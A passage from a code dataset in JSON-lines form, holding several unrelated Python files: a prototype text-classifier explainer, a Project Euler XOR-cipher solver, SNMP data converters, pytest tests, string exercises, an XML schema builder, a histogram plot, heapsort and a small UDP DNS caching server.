class_id_list:\n class_data = np.array(class2vecs[i])\n proto_idx = [idx for idx in range(self.num_prototypes_per_class*(i-1),\\\n self.num_prototypes_per_class*i)]\n kmeans = KMeans(n_clusters = self.num_prototypes_per_class)\n kmeans.fit(class_data)\n\n centers = torch.Tensor(kmeans.cluster_centers_).view(self.num_prototypes_per_class, self.proto_dim, 1)\n new_prototypes = torch.cat((new_prototypes, centers), 0) \n\n self.prototypes.data.copy_(new_prototypes)\n\n\n def explain_instance(self, word_sequence, saliency_type = 'directional', neighbors_obj = None, language_model = None, tokenizer = None,\n counterfactual_method = 'unk', decision_boundary = False):\n # word_sequence should be text with tokens separated by spaces or list of tokens\n self.eval()\n\n # adjust formatting for string inputs\n if type(word_sequence) is str:\n word_sequence = word_sequence.split()\n\n # local vars\n classes = self.tag_seq_indexer.idx2items([0,1])\n text = ' '.join(word_sequence)\n m = 10 # multiple for scaling the logits. easier to read values on the integer rather than decimal scale\n\n # original prediction and logits\n orig_logits = self.get_logits([word_sequence]).squeeze().detach().cpu()\n pred = np.argmax(orig_logits)\n predicted_tag = classes[pred]\n opposite_tag = classes[1-pred]\n \n # local vars\n prototype_dict = self.prototype_dict\n n_protos_per_class = self.num_prototypes_per_class\n max_activation = self.proto_layer.similarity_score(torch.zeros(1)).item()\n\n # proto output \n proto_output, distances = self.get_proto_output([word_sequence])\n proto_output = proto_output.detach().cpu().squeeze()\n distances = distances.detach().cpu().squeeze()\n prototype_id = np.argmin(distances).item()\n activated_prototype = prototype_dict[prototype_id]\n similarity_score = self.proto_layer.similarity_score(torch.min(distances)).item()\n\n # get signed evidence measure\n signed_evidence_str = '+%.2f' % (m*similarity_score) if activated_prototype.tag == 'pos' else '-%.2f' % (m*similarity_score)\n\n # proto and input salience \n orig_explanation = self.prototype_saliency_map(word_sequence, \n saliency_type = saliency_type, \n prototype_id = prototype_id, \n neighbors_obj = neighbors_obj,\n language_model = language_model,\n tokenizer = tokenizer,\n counterfactual_method = counterfactual_method)\n\n\n # if not going to look at a perturbation of the opposite predicted class, then go ahead and assemble the explanation\n explanation = \"Most activated prototype (label: %s) | evidence: %s \\n\" % (predicted_tag, signed_evidence_str) + \\\n activated_prototype.to_str() + '\\n----\\n' + \\\n \"Informative words in input:\\n\" + \\\n orig_explanation\n \n return explanation\n\n\n\n def prototype_saliency_map(self, word_sequence, prototype_id, saliency_type = 'directional', num_perturbations = 1000, neighbors_obj = None, \n counterfactual_method = 'unk', language_model = None, tokenizer = None):\n '''\n get feature importance scores for prototype model using word omission with counterfactual_method approach\n '''\n\n # prep tagger\n self.zero_grad()\n self.eval()\n \n # local variables\n n_protos_per_class = self.num_prototypes_per_class\n class_id = prototype_id // n_protos_per_class\n start = time.time()\n m = 10 # multiple for word importance values and logits. easier to read values on the integer scale than decimal.\n \n # should clean this up with arguments, since this is computed in .explain_instance. for now, recompute\n predicted_tag = self.predict_tags_from_words([word_sequence], constrain_to_classes = None, quiet = True)[0]\n\n # get valid_idx for words to sample in expected_word method\n if counterfactual_method == 'expected_word':\n all_vocab = [force_ascii(tokenizer._convert_id_to_token(i)) for i in range(tokenizer.vocab_size)]\n valid_vocab = [word for word in all_vocab if word in self.word_seq_indexer.item2idx_dict]\n valid_idx = np.argwhere([word in self.word_seq_indexer.item2idx_dict for word in all_vocab]).reshape(-1)\n\n # forward pass\n logits = self.get_logits([word_sequence])\n selected_logit = torch.max(logits) if class_id is None else logits[0,class_id] \n selected_logit = selected_logit.detach().cpu()\n\n # need class ids to possibly negate the importance values later\n neg_class_id = self.tag_seq_indexer.item2idx_dict['neg']\n pred_class_id = torch.argmax(logits.view(-1)).item()\n explain_class_id = pred_class_id if class_id is None else class_id\n\n # get avg. difference in selected_logit and the class logit obtained from perturbed inputs (perturbed at a specific word)\n logit_differences = np.zeros(len(word_sequence))\n\n for slot_id in range(len(word_sequence)):\n\n # if 'unk' or 'neighbors', fill the slot with either the vector or neighboring words in embedding space (according to counterfactual_method)\n if counterfactual_method != 'expected_word':\n counterfactual_sequences = replace_word(word_sequence, slot_id, neighbors_obj, \n tagger_word_dict = self.word_seq_indexer.item2idx_dict, method = counterfactual_method)\n counterfactual_logits = self.get_logits(counterfactual_sequences).detach().cpu()\n mean_logit = torch.mean(counterfactual_logits[:,explain_class_id])\n \n logit_differences[slot_id] = selected_logit - mean_logit\n\n # if 'expected_word', find the expected logit over p(x_i | x_{-i})\n elif counterfactual_method == 'expected_word':\n expected_logit = expected_score(word_sequence = word_sequence, \n mask_position = slot_id, \n class_id = explain_class_id, \n tagger = self, \n language_model = language_model, \n tokenizer = tokenizer, \n vocab = valid_vocab, \n valid_idx = valid_idx)\n logit_differences[slot_id] = selected_logit - expected_logit\n\n # set importance metric\n importance_metric = logit_differences\n\n # quick fix so that saliency maps are consistently directional between classes. positive values always positive sentiment, negative numbers always negative sentiment\n neg_class_id = self.tag_seq_indexer.item2idx_dict['neg']\n explain_class_id = self.tag_seq_indexer.item2idx_dict[predicted_tag] if class_id is None else class_id\n if explain_class_id == neg_class_id and (saliency_type == 'directional' or saliency_type == 'counterfactual'):\n importance_metric = -importance_metric \n\n # scale by 10 for readability\n importance_metric = m * importance_metric \n \n # get highlighted words\n importance_str = saliency_list_values(word_sequence, importance_metric, saliency_type, print_flat = False)\n\n # print(\"Prototype explanation took %.2f seconds\" % (time.time() - start))\n\n return importance_str\n\n","sub_path":"text/src/models/tagger_proto_birnn.py","file_name":"tagger_proto_birnn.py","file_ext":"py","file_size_in_byte":23242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"550020853","text":"# Project Euler - 059\nimport timeit as t\nimport string as st\n\n# Simple cryptography problem. We are given important information to solve it:\n# - The key is a three letter word, so the keyspace is 26**3, which isn't very large.\n# - It contains common English words, so it yelds to frequency analysis.\n# I guessed that the code would preserve punctuation, so I tried every key\n# and counted the number of ASCII spaces it originated. The ASCII code for space\n# is 32, so I tracked that. The maximum number of spaces would point to the\n# correct key. The text size isn't a multiple of 3, so I had to keep that in mind.\n# Since I knew that the key was 3 letters, I could have done a column analysis\n# and tested it as 3 monoalphabetic ciphers. But since the keyspace was so small\n# it was fast enough to just try every key.\n# The resulting passage is from the Gospel of John.\n\n\ndef parse_file(filename):\n with open(filename, 'r') as file:\n return list(map(int, file.readline().strip().split(\",\")))\n\ndef solve_cipher():\n data = parse_file(\"P059_cipher.txt\")\n source = st.ascii_lowercase\n keys = [[ord(a), ord(b), ord(c)] *\n 401 for a in source for b in source for c in source]\n space_count = 0\n best_key = [0, 0, 0]\n ascii_value = 0\n for k in keys:\n candidate = [a ^ b for (a, b) in zip(data, k[:1201])]\n if candidate.count(32) > space_count:\n space_count = candidate.count(32)\n best_key = k[:3]\n ascii_value = sum(candidate)\n return (''.join(chr(x) for x in best_key), ascii_value)\n\n# No-args functions for timeit module.\ndef f():\n return solve_cipher()\n\n# Benchmarks\nprint(\"Timing 1 run.\")\nprint(\"Generate and test:\", t.timeit(f, number=1), \"seconds\")\nprint(\"Result:\", f())\n","sub_path":"001 - 100/P059.py","file_name":"P059.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"377504780","text":"import re\nimport os\nimport itertools\nimport subprocess\n\ndef ipConvert(text):\n if type(text) is str:\n text=text.splitlines()\n new=[]\n for line in text:\n line=line.strip().strip('\"-')\n if not line.isdecimal() :\n continue\n q = []\n for i in range (0, 4):\n bit = (int(line) >> (3-i)*8) & 0xFF\n q.append(str(bit))\n new.append(\".\".join(q))\n return new\n\ndef readcontent():\n with open (filepath) as f: \n return f.readlines()\n\ndef saveData(res):\n with open (newfile,mode='w',encoding='utf-8') as j:\n j.write(';'.join(res))\n\ndef NBoidConvert(text):\n if type(text) is str:\n text=text.splitlines()\n res,key=[],[]\n for line in text:\n \n if not (line.startswith('1.3.6.1.') or line.startswith('.1.3.6.1')):\n continue\n sid=line.split(' =')[0]\n if sid in key:\n print ('Duplicated OID exist:\\t',sid)\n break\n else:\n key.append(sid)\n if line.startswith('1.3.6'):\n line=line.replace('1.3.6','.1.3.6')\n line=line.replace(':\\t',': ')\n line=line.replace(' : ',' = ')\n if line.find(r'OCTETS:')>-1:\n res.append(line.replace('OCTETS:','STRING:'))\n elif line.find(r'TIMETICKS:')>-1:\n res.append(re.sub('TIMETICKS\\: .*','1',line))\n elif line.find(r'COUNTER:')>-1:\n res.append(line.replace('COUNTER:','COUNTER32:'))\n elif line.find(r'SYNTAXOID:') >-1:\n res.append(line.replace('SYNTAXOID:','OID:'))\n elif line.find(r'COUNTER64: 0x') >-1:\n start,value=line.split(r'COUNTER64: 0x')\n res.append(start+r'COUNTER64: '+str(int(value,16))+os.linesep)\n elif line.find(r'Hex-String: ')>-1:\n start,value=line.split('Hex-String: ')\n res.append(start+'Hex-String: '+''.join([' '+m if n!=0 and n%2==0 else m for n,m in enumerate(value)]))\n else:\n res.append(line)\n return sorted(res,key=natural_key)\n\ndef syToNum(data):\n res=[]\n for line in data:\n tit,flag,value=line.partition(' = ')\n tit=subprocess.check_output([r'D:\\Program Files\\usr\\bin\\snmptranslate.exe','-Ofn',tit],universal_newlines=True).strip()\n print (tit+flag+value.strip())\n res.append(tit+flag+value.strip())\n\ndef natural_key(s):\n return tuple(\n int(''.join(chars)) if isdigit else ''.join(chars)\n for isdigit, chars in itertools.groupby(s, str.isdigit)\n )\n\ndef attCvt(data):\n for line in data.splitlines():\n #if line.find(r'Timeticks:')>-1:\n # line=re.sub('Timeticks\\: .*','1',line)\n #if line.find('OID:') >-1 and line.find('::')>-1:\n # value=subprocess.check_output([r'D:\\Program Files\\usr\\bin\\snmptranslate.exe','-Ofn',line[line.find('OID:')+5:]],universal_newlines=True).strip()\n # line=line[:line.find('OID: ')]+'OID: '+value\n if line.find('INTEGER: ')>-1:\n value=re.search('(\\d+)',line[line.find('INTEGER: ')+9:])\n line=line[:line.find('INTEGER: ')]+'INTEGER: '+value.group(1)\n print (line)\n\nrootpath=r'd:/'\nfilename=r'nexus.snmpwalk'\nglobal newfile,filepath\nnewfile=rootpath+filename+'_convert'\nfilepath=rootpath+filename\ndef ConvrtOIDsInFile():\n saveData(NBoidConvert(readcontent()))\n\ndef int2IPInFIle():\n saveData(ipConvert(readcontent()))\n\ndef CvtsyToNum():\n saveData(syToNum(readcontent()))\n#ConvrtOIDsInFile()\n#int2IPInFIle()\n#CvtsyToNum()\n\nif __name__ == '__main__':\n data='''\n sdfsf\n '''\n # print(data)\n # print(data)\n attCvt(data)\n if os.path.exists(r\"C:\\Program Files (x86)\\SNMP Simulator\\Data\\nb.snmpwalk\"):\n ff=open(r\"C:\\Program Files (x86)\\SNMP Simulator\\Data\\\\nb.snmpwalk\",\"w\")\n for datas in NBoidConvert(data):\n ff.write(datas+\"\\n\")\n ff.close()","sub_path":"code/Original.py","file_name":"Original.py","file_ext":"py","file_size_in_byte":3870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"87015908","text":"\"\"\"Test the data training script in a variety of conditions.\"\"\"\nfrom os import path, system\nfrom pkg_resources import resource_filename\nfrom protopipe.scripts import data_training\nfrom ctapipe.utils import get_dataset_path\n\n# TEST FILES\n# 110 events, 98 telescopes at Paranal.\n# Instruments tested: LST_LST_LSTCam, MST_MST_FlashCam, SST_ASTRI_ASTRICam\nGAMMA_TEST_LARGE = get_dataset_path(\"gamma_test_large.simtel.gz\")\n# WARNING: absolutely not sufficient!\n# This is just the only file easily usable without external resources.\n# Later on, we will need a sub-simtel file from each of the\n# MC productions expected to be analyzed with protopipe.\n\n# configuration files\nana_config = resource_filename(\"protopipe\", \"aux/example_config_files/analysis.yaml\")\n\n\ndef test_dataTraining_noImages():\n \"\"\"Very bare test to see if the script reaches the end correctly.\n\n WARNING: some of the cuts in the example config file are not optimized for\n cameras other than LSTCam and NectarCam.\n In any case, it is expected that in absence of fatal bugs, the script\n ends successfully.\n \"\"\"\n exit_status = system(\n f\"python {data_training.__file__}\\\n --config_file {ana_config}\\\n -o test_training_noImages.h5\\\n -m 10\\\n -i {path.dirname(GAMMA_TEST_LARGE)}\\\n -f {path.basename(GAMMA_TEST_LARGE)}\"\n )\n assert exit_status == 0\n\n\ndef test_dataTraining_withImages():\n \"\"\"Very bare test to see if the script reaches the end correctly.\n\n WARNING: some of the cuts in the example config file are not optimized for\n cameras other than LSTCam and NectarCam.\n In any case, it is expected that in absence of fatal bugs, the script\n ends successfully.\n \"\"\"\n exit_status = system(\n f\"python {data_training.__file__}\\\n --config_file {ana_config}\\\n -o test_training_withImages.h5\\\n -m 10\\\n --save_images\\\n -i {path.dirname(GAMMA_TEST_LARGE)}\\\n -f {path.basename(GAMMA_TEST_LARGE)}\"\n )\n assert exit_status == 0\n","sub_path":"protopipe/scripts/tests/test_dataTraining.py","file_name":"test_dataTraining.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"131272604","text":"# 全是字符串的\n# 用于训练考察基本的编程能力\n#\n# 用到的知识主要是\n# 0, 用下标引用字符串\n# 1, 字符串切片\n# 2, 循环\n# 3, 选择 (也就是 if)\n#\n#\n# 1,\n# 实现一个函数\n# 返回一个「删除了字符串开始的所有空格」的字符串\n# def strip_left(s)\n#\ndef strip_left(s):\n offset = -1\n for i in range(len(s)):\n if s[i] != ' ':\n offset = i\n break\n # print(offset)\n if offset == -1:\n return ''\n else:\n return s[offset:]\n\n# string = ' hello '\n# string = ' '\n# r = strip_left(string)\n# print(len(r), r)\n# 例子\n# print(strip_left(' hello')\n# # 返回 'hello'\n# 提示，用循环查找到第一个不为空格的字符的下标然后切片返回\n#\n#\n# 2,\n# 实现一个函数\n# 返回一个「删除了字符串末尾的所有空格」的字符串\n# def strip_right(s)\n#\ndef strip_right(s):\n end = len(s)\n # 开始 结束 步长\n for i in range(len(s), 0, -1):\n index = i - 1\n if s[index] != ' ':\n end = index\n break\n if end == len(s):\n return ''\n else:\n return s[:end+1]\n\n# for i in range(5-1, -1, -1):\n# print('i', i)\n# string = ' hello '\n# string = ' '\n# r = strip_right(string)\n# print(len(r), r)\n\n\n\n\n#\n# 3,\n# 实现一个函数\n# 返回一个「删除了字符串首尾的所有空格」的字符串\n# def strip(s)\n#\ndef strip(s):\n s1 = strip_left(s)\n s2 = strip_right(s1)\n return s2\n\n# string = ' hello '\n# # string = ' '\n# r = strip(string)\n# print('strip', len(r), r)\n#\n# 4,\n# 实现一个函数, 接受一个参数 s\n# 检查这个参数是否只包含空格\n# 返回 True / False\n# def is_space(s)\n#\ndef is_space(s):\n for i in s:\n if i != ' ':\n return False\n return True\n#\n# 5,\n# 实现一个函数, 接受一个参数 s\n# 检查这个参数是否只包含 空白符号\n# 空白符号包括三种 ' ' '\\n' '\\t'\n# 返回 True / False\n# def is_white(s)\n#\ndef is_white(s):\n whites = [' ', '\\n', '\\t']\n for i in s:\n if i not in whites:\n return False\n return True\n\n# for i in 'hello':\n# print(i)\n#\n# 6,\n# 实现一个函数, 接受 2 个参数 s1 s2\n# 检查 s1 是否以 s2 开头\n# 返回 True / False\n# def starts_with(s1, s2)\n#\ndef starts_with(s1, s2):\n # 别的语言一般这么做\n # for i in range(len(s2)):\n # if s1[i] != s2[i]:\n # return False\n # return True\n # # Python 可以这么做\n s1head = s1[:len(s2)]\n # print('s1 head', s1head)\n return s1head == s2\n\nprint(starts_with('hello', 'he'))\n# ends_with\n# if filename.ends_with('.avi'):\n# 播放(filename)\n#\n# os.name\n# Windows 98\n# Windows 2000\n# Windows xp\n# Windows 7\n# Windows 8\n# Windows 9\n# Windows 10\n# if os.name.starts_with('Windows 9'):\n # it's win98\n\n\n# 例子\n# print(starts_with('hello', 'he'))\n# # True\n#\n#\n# 7,\n# 实现一个函数, 接受 3 个参数 s old new 都是字符串\n# 返回一个「将 s 中的 old 字符串替换为 new 字符串」的字符串\n# 假设 old 存在并且只出现一次\n# def replace(s, old, new)\n#\ndef replace(s, old, new):\n old_len = len(old)\n index = s.find(old)\n head = s[:index]\n tail = s[index+old_len:]\n # print(head)\n # print(tail)\n return head + new + tail\n\nprint(replace('hello, world!', 'world', 'gua'))\n\n# 例子\n# print(replace('hello, world!', 'world', 'gua'))\n# # 'hello, gua!'\n# 提示: 查找切片 2 次\n#\n#\n# 8,\n# 实现一个函数, 接受两个参数 s1 s2 都是字符串\n# 返回一个数字, 这个数字是 s2 在 s1 中出现的下标\n# 如果不存在则返回 -1\n# def index(s1, s2)\ndef index(s1, s2):\n i = -1\n start = 0\n while len(s1) >= len(s2):\n if starts_with(s1, s2):\n i = start\n break\n else:\n s1 = s1[1:]\n start += 1\n return i\nprint(index('hello', 'll'))\nprint(index('hello, world!', 'ld!'))\n#\n# 提示\n# 循环切片加 starts_with\n#\n#\n# 9,\n# 实现一个函数, 接受 2 个参数 s1 s2 都是字符串\n# 返回一个列表，列表中保存了所有 s2 出现在 s1 中的下标\n# def indices(s1, s2)\n#\ndef indices(s1, s2):\n index_list = []\n start = 0\n while len(s1) >= len(s2):\n if starts_with(s1, s2):\n index_list.append(start)\n s1 = s1[1:]\n start += 1\n return index_list\nprint('index list', indices('12211341', '1'))\n\n# 例子\n# # 01234567\n# print(indices('12211341', '1'))\n# # [0, 3, 4, 7]\n#\n# 提示: 使用 index 函数加循环\n","sub_path":"base/class11/class10_hw_ans.py","file_name":"class10_hw_ans.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"225142593","text":"import operator\nimport lxml\nimport lxml.etree as etree\n\n\ndef tagname(ns_name, nsmap):\n ns, name = ns_name.split(':')\n return '{' + nsmap[ns] + '}' + name;\n\n\nclass XmlDOMInfo(object):\n def writetoxsd(self, root, parent_el):\n raise NotImplementedError\n \n def toxml(self, xsd, root, *args):\n raise NotImplementedError\n \n def fromxml(self, xsd, root, *args):\n raise NotImplementedError\n\n\nclass XsdDocumentInfo(object):\n default_xsd_nsmap = {\n None: 'http://www.w3.org/2001/XMLSchema',\n 'xs': 'http://www.w3.org/2001/XMLSchema',\n 'xsi': 'http://www.w3.org/2001/XMLSchema-instance',\n 'xse': 'http://www.codesynthesis.com/xmlns/xml-schema-extension'\n }\n \n default_xml_nsmap = {\n 'xs': 'http://www.w3.org/2001/XMLSchema',\n 'xsi': 'http://www.w3.org/2001/XMLSchema-instance',\n 'xse': 'http://www.codesynthesis.com/xmlns/xml-schema-extension'\n }\n \n def __init__(self, nsprefix, ns):\n self.xsd_nsmap = dict(XsdDocumentInfo.default_xsd_nsmap)\n self.xsd_nsmap[nsprefix] = ns\n self.xml_nsmap = dict(XsdDocumentInfo.default_xml_nsmap)\n self.xml_nsmap[nsprefix] = ns\n self.xml_nsmap[None] = ns\n self.targetns = ns\n self.types = list()\n \n def addtype(self, tp):\n self.types.append(tp.complex_type)\n \n def obj_to_element(self, root, el, obj):\n if hasattr(type(obj), 'complex_type'):\n type(obj).complex_type.toxml(self, root, el, obj)\n el.set('{' + self.xml_nsmap['xsi'] + '}type', type(obj).complex_type.full_typename)\n else:\n el.text = str(obj)\n \n def writexsdto(self, fobj):\n xsd = etree.Element('schema', nsmap=self.xsd_nsmap)\n xsd.set('targetNamespace', self.targetns)\n for ct in self.types:\n ct.writetoxsd(xsd, xsd)\n fobj.write(etree.tostring(xsd, pretty_print=True))\n \n def writetoxml(self, roottag, obj, fobj):\n xml = etree.Element('{' + self.targetns + '}' + roottag, nsmap=self.xml_nsmap)\n self.obj_to_element(xml, xml, obj)\n fobj.write(etree.tostring(xml, pretty_print=True))\n\n\nclass XmlElementInfo(XmlDOMInfo):\n def __init__(self, name, typename, is_optional=False, is_singular=True):\n self.name = name\n self.typename = typename\n self.is_optional = is_optional\n self.is_singular = is_singular\n XmlDOMInfo.__init__(self)\n \n def writetoxsd(self, root, parent_el):\n el = etree.SubElement(parent_el, 'element')\n el.set('name', self.name)\n el.set('type', self.typename)\n if self.is_optional:\n el.set('minOccurs', '0')\n if self.is_singular:\n el.set('maxOccurs', '1')\n else:\n el.set('minOccurs', '1')\n if self.is_singular:\n el.set('maxOccurs', '1')\n self.writetoxsd_ext(el)\n \n def writetoxsd_ext(self, el):\n pass\n \n def toxml(self, xsd, root, parent_el, value):\n if value is None:\n return\n if not self.is_singular:\n for subvalue in value:\n el = etree.SubElement(parent_el, self.name)\n xsd.obj_to_element(root, el, subvalue)\n else:\n el = etree.SubElement(parent_el, self.name)\n xsd.obj_to_element(root, el, value)\n\n\nclass XmlRefElementInfo(XmlElementInfo):\n def __init__(self, name, target_type, *args, **kwargs):\n self.target_type = target_type\n XmlElementInfo.__init__(self, name, 'xs:IDREF', *args, **kwargs)\n \n def writetoxsd_ext(self, el):\n el.set(tagname('xse:refType', el.nsmap), self.target_type)\n\nclass XmlAttributeInfo(XmlDOMInfo):\n def __init__(self, name, typename, is_optional=False):\n self.name = name\n self.typename = typename\n self.is_optional = is_optional\n XmlDOMInfo.__init__(self)\n \n def writetoxsd(self, root, parent_el):\n el = etree.SubElement(parent_el, 'attribute')\n el.set('name', self.name)\n el.set('type', self.typename)\n if self.is_optional:\n el.set('use', 'optional')\n \n def toxml(self, xsd, root, parent_el, value):\n if value is not None:\n parent_el.set(self.name, str(value))\n\n\nclass XmlPythonProperty(object):\n def __init__(self, xmlname, xsdinfo, ctattr):\n self.attrname = '__' + xmlname + '_attr__'\n self.xsdinfo = xsdinfo\n self.ctattr = operator.attrgetter(ctattr)\n \n def __get__(self, instance, clss):\n #assert self.attrname in self.__dict__\n return getattr(instance, self.attrname)\n \n def __set__(self, instance, value):\n setattr(instance, self.attrname, value)\n \n def append_to_complex_type(self, ct):\n self.ctattr(ct).append(self)\n\ndef xml_property_func(clss, ctattr, name):\n def func(xmlname, *args, **kwargs):\n return XmlPythonProperty(xmlname, clss(xmlname, *args, **kwargs), ctattr)\n func.__name__ = name\n return func\n\nxml_attribute = xml_property_func(XmlAttributeInfo, 'attributes', 'xml_attribute')\nxml_element = xml_property_func(XmlElementInfo, 'elements', 'xml_element')\nxml_refelement = xml_property_func(XmlRefElementInfo, 'elements', 'xml_refelement')\n\nclass XmlComplexTypeInfo(XmlDOMInfo):\n def __init__(self, namespace, typename, clss, is_abstract=False, extends=None):\n self.namespace = namespace\n self.typename = typename\n self.is_abstract = is_abstract\n self.attributes = list()\n self.elements = list()\n self.extends = extends\n self.pyclss = clss\n XmlDOMInfo.__init__(self)\n \n def writetoxsd(self, root, parent_el):\n complexType_el = etree.SubElement(parent_el, 'complexType')\n complexType_el.set('name', self.typename)\n if self.is_abstract:\n complexType_el.set('abstract', 'true')\n if self.extends is not None:\n complexContent_el = etree.SubElement(complexType_el, 'complexContent')\n extension_el = etree.SubElement(complexContent_el, 'extension')\n extension_el.set('base', self.extends.namespace + ':' + self.extends.typename)\n content_el = extension_el\n else:\n content_el = complexType_el\n sequence_el = etree.SubElement(content_el, 'sequence')\n \n # Add Elements\n for element in self.elements:\n element.xsdinfo.writetoxsd(root, sequence_el)\n \n # Add Attributes\n for attribute in self.attributes:\n attribute.xsdinfo.writetoxsd(root, content_el)\n \n def fromxml(self, root, el, obj=None):\n if obj is None:\n obj = self.pyclss.__new__(self.pyclss)\n if self.extends is not None:\n self.extends.fromxml(root, el, obj)\n for attribute in self.attributes:\n attribute.__set__(obj, attribute.xsdinfo.fromxml(root, el))\n for element in self.elements:\n element.__set__(obj, element.xsdinfo.fromxml(root, el))\n \n def toxml(self, xsd, root, el, obj):\n if self.extends is not None:\n self.extends.toxml(xsd, root, el, obj)\n for attribute in self.attributes:\n attribute.xsdinfo.toxml(xsd, root, el, attribute.__get__(obj, type(obj)))\n for element in self.elements:\n element.xsdinfo.toxml(xsd, root, el, element.__get__(obj, type(obj)))\n \n @property\n def full_typename(self):\n return self.namespace + ':' + self.typename\n\n\ndef xml_complex_type(ns_name, is_abstract=False):\n if ':' in ns_name:\n ns, ctname = ns_name.split(':')\n else:\n raise NotImplementedError\n def xml_complex_type_dec(clss):\n if hasattr(clss, 'complex_type'):\n clss.complex_type = XmlComplexTypeInfo(ns, ctname, clss, is_abstract, clss.complex_type)\n else:\n clss.complex_type = XmlComplexTypeInfo(ns, ctname, clss, is_abstract, None)\n for name, attr in clss.__dict__.items():\n if isinstance(attr, XmlPythonProperty):\n attr.append_to_complex_type(clss.complex_type)\n return clss\n return xml_complex_type_dec\n\n\n","sub_path":"py/chill/ast/_xml.py","file_name":"_xml.py","file_ext":"py","file_size_in_byte":8398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"555149453","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 17 18:04:33 2019\n\n@author: mrodgers\n\"\"\"\n\nimport numpy as np\nimport matplotlib as mpl\n\nx = np.random.normal(0, 10, 100)\n\nmpl.pyplot.hist(x, bins=25, density=True)\nmpl.pyplot.title(\"Michael\")\nmpl.pyplot.xlabel(\"Random {}\".format(\"X\"))\nmpl.pyplot.ylabel(\"Probability\")\nmpl.pyplot.savefig(\"/Users/DirtyMike/Documents/other/languages/python/anaconda/packages/matplotlib/graphs/hist.pdf\",\n orientation='landscape')","sub_path":"python/anaconda/spyder/packages/matplotlib/histogram.py","file_name":"histogram.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"601637432","text":"\"\"\"\n Written by lomizandtyd.\n Heap Sort\n - 0.1 version\n\"\"\"\n\ndef heapify(dList, root, boundary):\n child = root * 2 + 1\n large = root\n if child <= boundary and dList[large] <= dList[child]:\n large = child\n if child+1 <= boundary and dList[large] <= dList[child+1]:\n large = child + 1\n if large != root:\n dList[root], dList[large] = dList[large], dList[root]\n heapify(dList, large, boundary)\n return dList\n \ndef heapifyNOR(dList, root, boundary):\n child = root * 2 + 1\n large = root\n while child <= boundary:\n if dList[large] <= dList[child]:\n large = child\n if child+1 <= boundary and dList[large] <= dList[child+1]:\n large = child + 1\n if large == root:\n break\n dList[root], dList[large] = dList[large], dList[root]\n root = large\n child = root * 2 + 1\n return dList\n\ndef heapsort(dList):\n heapify = heapifyNOR\n length = len(dList) -1\n for root in range((length -1)/2, -1, -1):\n heapify(dList, root, length)\n \n for end in range(length, 0, -1):\n heapify(dList, 0, end)\n dList[end], dList[0] = dList[0], dList[end]\n return dList\n","sub_path":"other/python/heapsort.py","file_name":"heapsort.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"505172045","text":"import socket\r\nimport sys\r\nimport time\r\n\r\n# get a file and returns 2D list\r\ndef creatListFromFile(fileName):\r\n\tfile1 = open(fileName, 'r')\r\n\tLines = file1.readlines()\r\n\tlistFile = []\r\n\ti = 0\r\n\tfor line in Lines:\r\n\t\tlistFile.append(line.split(\",\"))\r\n\t\t# enter time stamp to when the server learned the info\r\n\t\tif (len(listFile[i]) == 3):\r\n\t\t\tlistFile[i].append(int(time.time()))\r\n\t\telse:\r\n\t\t\tthisTime = int(time.time())\r\n\t\t\tpassTime = thisTime - int(listFile[i][3])\r\n\t\t\tif int(listFile[i][2]) <= passTime:\r\n\t\t\t\tlistFile.pop(i)\r\n\t\t\t\ti = i - 1\r\n\t\ti = i + 1\r\n\tupdateFile(fileName, listFile)\r\n\treturn listFile\r\n\r\n# getting 2D list and look for the domain\r\n# if found return the inside list\r\n# else returning empty ([]) list\r\ndef searchDomainInList (listIPs, domain):\r\n\ti = 0\r\n\tfor oneList in listIPs:\r\n\t\ttry:\r\n\t\t\tdomainInList = listIPs[i][0]\r\n\t\t\tif domainInList == str(domain):\r\n\t\t\t\treturn listIPs[i]\r\n\t\texcept:\r\n\t\t\tpass\r\n\t\ti = i+1\r\n\treturn []\r\n# function take an array and convert to string\r\ndef makeFromArrayToString(arr):\r\n\tret = \"\"\r\n\tfor w in arr:\r\n\t\tret = ret + str(w) + \",\"\r\n\tret = ret[:-1]\r\n\treturn ret\r\n\r\ndef updateFile(fileName, arrayList):\r\n\tarrStr = []\r\n\tfor line in arrayList:\r\n\t\tarrStr.append(makeFromArrayToString(line).replace(\"\\n\",\"\"))\r\n\twith open(fileName, 'w') as f:\r\n\t\tfor line in arrStr:\r\n\t\t\tf.write(\"%s\\n\" % line)\r\n\r\n\r\n# argumnets from command line\r\nmyPort = sys.argv[1]\r\nparentIP = sys.argv[2]\r\nparentPort = sys.argv[3]\r\nipsFileName = sys.argv[4]\r\n# initalize a socket\r\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\ns.bind(('', int(myPort)))\r\n\r\n\r\nwhile True:\r\n\tclientDomain, clientAddress = s.recvfrom(1024)\r\n\tclientDomain = clientDomain.decode('utf-8')\r\n\tlistIps = creatListFromFile(ipsFileName)\r\n\tspecificLine = searchDomainInList(listIps, clientDomain)\r\n\t# is server find the domain in the file\r\n\tif specificLine != []:\r\n\t\tsiteInfo = makeFromArrayToString(specificLine)\r\n\t\tsiteInfo = bytes(siteInfo, 'utf-8')\r\n\t\ts.sendto(siteInfo, clientAddress)\r\n\t# else, send to parent server\r\n\telse:\r\n\t\tclientDomain = bytes(clientDomain, 'utf-8')\r\n\t\ts.sendto(clientDomain, (parentIP, int(parentPort)))\r\n\t\tdata, parentAddress = s.recvfrom(1024)\r\n\t\tarrayToAdd = data.decode('utf-8')\r\n\t\tarrayToAdd = arrayToAdd.split(\",\")\r\n\t\tlistIps.append(arrayToAdd)\r\n\t\tupdateFile(ipsFileName, 